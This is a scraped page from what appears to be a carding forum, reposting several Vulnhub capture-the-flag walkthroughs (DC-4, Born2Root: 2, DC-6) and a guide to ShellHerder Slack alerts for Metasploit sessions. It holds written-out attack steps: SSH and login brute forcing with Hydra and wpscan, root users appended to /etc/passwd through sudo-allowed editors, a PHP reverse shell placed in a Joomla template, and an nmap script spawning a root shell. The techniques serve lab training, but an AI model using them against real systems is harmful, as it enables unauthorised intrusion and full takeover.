In another terminal in my local machine, I have generated a new encrypted password: pass123 whose salt is ignite using OpenSSL and copy the salt password.
openssl passwd -1 -salt ignite pass123
1
openssl passwd -1 -salt ignite pass123
[Image: 18.png?w=687&ssl=1]

Next, by providing sudo access to any editor(either vim or nano ) we can read as well as edit any system file which is restricted to access by any lower privilege user such as /etc/passwd file.
Since Patrick has sudo rights which means he can modify the root files too, therefore I decided to insert a new user with root privilege in the /etc/passwd file.
sudo nano /etc/passwd
1
sudo nano /etc/passwd

As you can see in the screenshot below, we have added a user ‘RAJ’ and with an encrypted password and we have given all root privileges to it as well.
raj:$1$ignite$3etbJm9809Hz.K1NTdNxe1:0:0:root:/root:/bin/bash
1
raj:$1$ignite$3etbJm9809Hz.K1NTdNxe1:0:0:root:/root:/bin/bash
[Image: 20.png?w=687&ssl=1]

Capturing the flag
What we are waiting for, lets login using raj. Hereafter listing the content we found the proof.txt file from the inside root directory. we opened it using cat and captured the flag.
su raj
ls
cat proof.txt
1
2
3
su raj
ls
cat proof.txt
[Image: 21.png?w=687&ssl=1]

[Guide] How to DC-4 Vulnhub Walkthrough

Posted by: NINZA - 05-14-2020, 05:37 PM - Forum: Carders Home - No Replies

Today we are going to take another boot2root challenge known as “DC-4”. The credit for making this VM machine goes to “DCAU” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download it from

[To see content please register here]

Security Level: Beginner
Penetrating Methodology
Scanning

Discovering Targets IP
Network scanning (Nmap)

Exploiting

Surfing HTTP service port
HTTP Login credential Bruteforce (Burpsuite)
Command Injection
SSH Login Credentials Bruteforce (Hydra)

Lateral Movement

Logging into SSH and Enumerating Directories
Obtain credentials in /var/mail directory

Privilege Escalation

Check Sudo rights
Adding new user /etc/passwd with sudo
Access root directory
Capture the flag

Walkthrough
Scanning
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687]

We found our Targets IP Address 192.168.1.101. Our next step is to scan our targets IP Address with nmap.
nmap -A 192.168.1.101
1
nmap -A 192.168.1.101
[Image: 2.png?w=687]

Exploiting
From nmap result we found HTTP service is running on port 80. So, we browsed the Targets IP Address in the browser and found an Admin Information Security Login page. We clearly need to find credentials for it. Let’s work on that.
We found that the HTTP service runs on port 80, from nmap results. So, we browse the IP address of Targets in the browser and found the Admin Information Security Login page. Now credentials need to be found for login, Let’s work on this.
[Image: 3.png?w=687]

We Fired UP!! burpsuite using rockyou.txt to get valid login.
Username- admin
After bruteforcing, we have found the password for Admin i.e
Password- happy
[Image: 4.png?w=687]

We have successfully logged in as Admin. Under system tools, the hyperlink command looks suspicious here. So, let’s check it out.
[Image: 6.png?w=687]

Command option looks useful as It displayed some options to Run Command. Here we used list file option which displayed files of the database. We also got a hint from the ls command which executes ls-l, we might make some changes in it.
[Image: 7.png?w=687]

So, we captured the Webpage request using Burpsuite and Send the request to the repeater. Here we can make the desired changes to the request and check out its response.
[Image: 8.png?w=687]

Let’s check out subdirectories in the /home directory. We have found 3 users i.e Charles, Jim and Sam.
[Image: 9.png?w=687]

Exploring the home directory for user Jim, after that, we checked out the backups folder.
[Image: 10.png?w=687]

We have found a old-passwords.bak file is a backup password file.
[Image: 11.png?w=687]

Exploring the contents of the file, we found a list of passwords. They might come in handy later.
[Image: 12.png?w=687]

We thought of checking /etc/passwd is readable or not and found some useful usernames.
[Image: 15.png?w=687]

We have created a dictionary for users and passwords with the previously discovered credentials. Let’s bruteforce for ssh login using hydra.
hydra -L users -P passwords 192.168.1.101 ssh
1
hydra -L users -P passwords 192.168.1.101 ssh
So, the credentials found:
Login- jim
Password- jibril04
[Image: 16.png?w=687]

Lateral Moment
Logging into ssh using the credentials.
Username- jim
Password- jibril04
ssh [email protected]
1
2
3
Username- jim
Password- jibril04
ssh [email protected]
While enumeration, we found two files and read their contents. But they didn’t give direct clue to move ahead.
ls
cat test.sh
cat mbox
1
2
3
ls
cat test.sh
cat mbox
when I open mbox, I saw a test mail in this, send by root to jim.
[Image: 17.png?w=687]

After some time thinking, it suddenly strikes us to check the /var/mail folder. Maybe it might contain something, and our instinct was right. We have found some credentials.
Username- Charles
Password- ^xHhA&hvim0y
1
2
Username- Charles
Password- ^xHhA&hvim0y
[Image: 18.png?w=687]

Privilege Escalation
Let’s login into charles with password ^xHhA&hvim0y.
su charles
1
su charles
After enumeration, we check sudo right for Charles and found that he run the editor teehee as root with no password. After that, we have added raaj in the etc/passwd using echo and teehee as shown.
sudo -l
echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
1
2
sudo -l
echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
Logging into raaj as root user and inside the root directory, we have found our FINAL FLAG.
su raaj
cd /root
ls
cat flag.txt
1
2
3
4
su raaj
cd /root
ls
cat flag.txt
[Image: 19.png?w=687]

You’re going to learn ShellHerder in this post. It is a technique used to monitor all the sessions of Metasploit/Meterpreter. The basic idea to create it, that new incoming sessions could be easily monitored when Intruder cannot access the listener. This approach is quite helpful when a Pen-tester wants to get an alert for live phishing campaigns or another attack by monitoring for new sessions.
Table of Content
Introduction to ShellHerder
Registering on Slack

Add WebHooks App
Configure WebHooks App

Download & Configure ShellHerder
Working Demo
Introduction to ShellHerder
ShellHerder uses session subscriptions to monitor activity and then sends an alert to Slack using Slack’s Incoming WebHooks. The alert is sent using the WebHook URL and a POST request and will tag a specified username and provide the computer name of the server with the session.
Registering on Slack
We need a workspace on slack to use slack. To do this we need to register on slack. To create a new workspace on slack,

[To see content please register here]

. This will require an email address. After that, it is required to create a channel. Here, we named our channel “live server”.
[Image: 1.png?w=687&ssl=1]

Add WebHooks App
To receive the updates from the Metasploit, we need to an app installed in the channel. Webhooks is the app that is perfect for this job. Now in order to add Webhooks, we first clicked on the Add an app Button inside our channel. Now, we will search for incoming Webhook and add it.
[Image: 2.png?w=687&ssl=1]

Configure WebHooks App
After adding the Webhooks, we will be asked to configure some settings for the app. This will include the configuring the channel on which the incoming notifications will be broadcasted. Here we select our channel and click on the Add Integration Button.
[Image: 3.png?w=687&ssl=1]

After clicking the Add integration button, we will be presented with the WebHooks URL. Copy this URL, we are going to need it while we configure Notify.
[Image: 4.png?w=687&ssl=1]

Download & Configure ShellHerder
Now, we need to work upon our Kali Linux. We are going to use Shell Herder to connect to slack. This Metasploit plugin is aimed to keep an eye on the sessions. All including the ones which are opened or closed. It uses session subscriptions to monitor activities and can be linked to slack, which we just got setup.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

After downloading Shell Herder via git clone, we moved the directory inside the Metasploit Framework. So that we can use it directly inside the Framework. After copying the directory, we open an instance of the Metasploit Framework and load the notify plugin as shown in the image given image.
[Image: 6.png?w=687&ssl=1]

Now, we will use the command notify_show_options to check for any pre-configured settings. Now that we can’t find any. It was time to set the Webhook URL, which we copied earlier and add it inside the notify plugin. Also, we set the Slack User id and Source. After entering the relevant data, use the save command to save the configuration. Now that we have configured the Notify, Let us send a test message to see if the configuration is correct and working.
load notify
notify_show_options
notify_set_webhook <Above webhook URL>
notify_set_user @Ignitelab
notify_set_source Kali-Linux
notify_save
notify_test
1
2
3
4
5
6
7
load notify
notify_show_options
notify_set_webhook <Above webhook URL>
notify_set_user @Ignitelab
notify_set_source Kali-Linux
notify_save
notify_test
[Image: 7.png?w=687&ssl=1]

As we can see in the given image that, the slack received the test message we sent via Notify.
[Image: 8.png?w=687&ssl=1]

Working Demo
Now, to test the real working of Notify, we will exploit a machine, so that we can observe, whether or not it will notify us, when we get a session. We are exploiting a Windows machine using web delivery.
[Image: 9.png?w=687&ssl=1]

As we expected, we got the notification on our slack channel, as soon as we got the session.
[Image: 10.png?w=687&ssl=1]

Hello Friends!! Today we are going to take another CTF challenge named “Born2Root: 2”. The credit for making this VM machine goes to “

[To see content please register here]

”. It is available on the

[To see content please register here]

. Although there is no description provided at the current time on the Vulnhub website, we assume that we will have to gain the root access and find a flag.
Security Level: Intermediate
Penetrating Methodology

Scanning
Enumeration
Exploitation
Privilege Escalation
Capture the Flag

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found out target: 192.168.1.9
Time to scan the Target’s IP with nmap. Nmap scan result shows 3 major ports open, 22(SSH), 88(HTTP) and 111(RPC).
nmap -A 192.168.1.9
1
nmap -A 192.168.1.9
[Image: 2.png?w=687&ssl=1]

Since port 80 is running HTTP, so we considered opening the Target IP Address on the Browser. This gives us an attractive looking webpage although after spending a considerable amount of time. We found that this is nothing but a distraction. We couldn’t find anything of importance on the website.
[Image: 3.png?w=687&ssl=1]

So now we moved on to try the Directory Bruteforcing to get any hints. The drib scan gives us the Joomla directory. This is a major breakthrough. Now it’s time to exploit machine through Joomla.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Now that we have found the joomla directory, we will browse the joomla directory on our browser. Here we have the blog made by the author. This is titled Tim’s Blog. This could be a hint for a username. Let’s keep that in mind. Now as we can see that we have a Login Form in the bottom right. Now we will have to guess the user credentials.
[Image: 5.png?w=687&ssl=1]

Now, it is by convention to try the default credentials first. A quick search, informs us that the default username for Joomla is ‘admin’. Now for the password, we will have to perform a dictionary attack. For that, we will create a dictionary from the words present on the webpage using ‘cewl’.
cewl

[To see content please register here]

> dict.txt
1
cewl

[To see content please register here]

> dict.txt

Now that we have the dictionary named dict.txt. Its time to perform the bruteforce. We will use the BurpSuite to perform the bruteforce. To learn more about this, refer to this

[To see content please register here]

. This bruteforce force gives us “travel” as the password.
[Image: 7.png?w=687&ssl=1]

Now we will use these credentials to login in Joomla:
Username: admin
Password: travel
1
2
Username: admin
Password: travel
Now that we have logged in on the Joomla as the SuperUser. To exploit the Joomla server, we will use the php reverse shell. They can be found in Kali Linux. We will move on to the Template Section. To do so, we will first click on the Extensions Option on the Menu. Then, traverse in the beez3 template and choose Customise. This is open an edit section as shown in the image. Now, select the index.php and replace the text inside the index.php with our reverse shell. Remember to change the IP Address and/or change the port.
[Image: 8.png?w=687&ssl=1]

After editing the index.php, save the file by clicking on the Save Button. Now we have successfully replaced the index.php with our reverse shell script. Now, all that’s left to do is run the index.php. Now to get a session, we need a listener, where we will get our reverse shell. We will use netcat for creating a listener as shown in the image given below.
After we got the shell, now it was time to enumerate the machine in order to exploit further. It took us a couple of hours of hard work around the machine. We ran a bunch of scripts and much else. At last, our search at the ended when we stumbled upon the opt directory. Inside this directory, we found the scripts directory and that contained the fileshare.py. Upon close inspection of the fileshare.py file, we got the login credentials as shown in the given image.
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt
ls
cd scripts
ls
cat fileshare.py
1
2
3
4
5
6
7
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt
ls
cd scripts
ls
cat fileshare.py
[Image: 9.png?w=687&ssl=1]

After finding the credentials all that was left was to login as Tim. For that we used the su command and gave the following credentials:
Username: tim
Password: lulzlol
1
2
Username: tim
Password: lulzlol
After logging in as Tim, we ran the sudo with -l parameter to give us the user rights of the user tim. As we can see in the given image, tim has all the permissions. After this, we traversed inside the root directory using the cd command. Here we found the final flag.
su tim
sudo -l
sudo su
cd /root
ls
cat flag.txt
1
2
3
4
5
6
su tim
sudo -l
sudo su
cd /root
ls
cat flag.txt
[Image: 10.png?w=687&ssl=1]

DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. This isn’t an overly difficult challenge so should be great for beginners. The ultimate goal of this challenge is to get root and to read the one and only flag. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Download it from here –

[To see content please register here]

Table of Content

Scanning

Netdiscover
NMAP

Enumeration

WPSCAN

Exploiting

Searchsploit

Privilege Escalation

sudo rights

Capture the Flag

Walkthrough
Here the author has left a clue which will be helpful in this CTF.
“OK, this isn’t really a clue as such, but more of some “we don’t want to spend five years waiting for a certain process to finish” kind of advice for those who just want to get on with the job.”
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
That should save you a few years. ?
[Image: 0.png?w=687]

Scanning
Now, start the CTF challenge by scanning the network and identifying host IPs. As illustrated below, we can identify our host IP 192.168.1.103.
[Image: 1.png?w=687]

Then, it’s time to run nmap following command to identify open ports and running services.
nmap -A 192.168.1.103
1
nmap -A 192.168.1.103
As ever, this time also we got port 22 and 80 is open for SSH and HTTP services, moreover all HTTP services are made to redirected on domain i.e. //wordy
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
1
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
[Image: 2.png?w=687]

Therefore, we thought of adding the Domain Name into our Host file, so that we will be able to access http services.
[Image: 3.png?w=687]

Enumeration
Since port 80 is open, we explored the Domain Name on the browser. We discovered the webpage got a WordPress CMS installed on it.
[Image: 4.png?w=687]

Since I didn’t find any remarkable clue on the website, therefore, the next idea that came to us was to run a wpscan on the webpage and see what the scan enumerates for us.
[Image: 5.png?w=687]

Hmmm!! Not bad, here I got usernames as shown in the below image.
[Image: 6.png?w=687]

Moreover, in a text file named users, I saved all the usernames that I had found from WPScan. If you remember the CLUE I discussed at the beginning of the post, generating a password dictionary would be helpful.
[Image: 7.png?w=687]

wpscan --url //wordy/ -U users -P password
1
wpscan --url //wordy/ -U users -P password
We have successfully found the password for the mark; Let’s make good use of them.
mark:helpdesk01
[Image: 8.png?w=687]

Exploiting
After login into WordPress, I notice a plugin “Active-monitor” is installed in the dashboard.
[Image: 8_1.png?w=687]

So, quickly I checked for its exploit inside searchsploit and surprisingly I found this plugin is vulnerable to reflected XSS and CSRF attack, moreover this vulnerability cloud lead to remote code execution. You will get its exploit from searchsploit which is an html form to exploit CSRF attack.
[Image: 9.png?w=687]

From searchsploit I found 45274.html file to exploit CRSF attack, but before executing it we need to make to some Cosmo changes as shown below and launch netcat listener.
[Image: 10.png?w=687]

Now, execute the shell.html file to get the reverse connection.
[Image: 11.png?w=687]

OKAY!! We got a reverse connection at netcat, where I need to run python command to spawn a proper shell. While traversing I found a bash “backup.sh” and tar “backups.tar.gz” and moreover I found a text file “things-to-do” from inside /home/mark/stuff which stored credential for another user “graham” as shown below.
graham : GSo7isUM1D4
[Image: 12.png?w=687]

Privilege Escalation
As we knew port 22 is open for ssh and here I try to connect with ssh using graham : GSo7isUM1D4 and luckily I got ssh access as shown below. Since this is boot to root challenge where I need to escalate privilege for root access.
ssh [email protected]
1
ssh [email protected]
Therefore, I check for sudo rights, where I found Graham can execute backup.sh as jens without a password.
sudo -l
1
sudo -l
[Image: 13.png?w=687]

After reading this bash script, I decided to edit this file by adding /bin/bash as shown below.
[Image: 14.png?w=687]

Then with the sudo right I executed the following command successfully login as jeans.
sudo -u jens /home/jens/backups.sh
1
sudo -u jens /home/jens/backups.sh
Now when we have access to jens shell and further I check sudo rights for jeans. As per suoders file permission, jens can run nmap as root. To escalate root privilege, I generate a nmap script to access /bin/sh shell called root.nse and then use nmap command to run the script with sudo.
echo "os.execute('/bin/sh')">/tmp/root.nse
sudo nmap --script=/tmp/root.nse
1
2
echo "os.execute('/bin/sh')">/tmp/root.nse
sudo nmap --script=/tmp/root.nse
WELL DONE! We have found the final flag and complete the challenges.
[Image: 15.png?w=687]

Pages ({1}): « Previous 1 … 840 841 842 843 844 … 1224 Next »

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis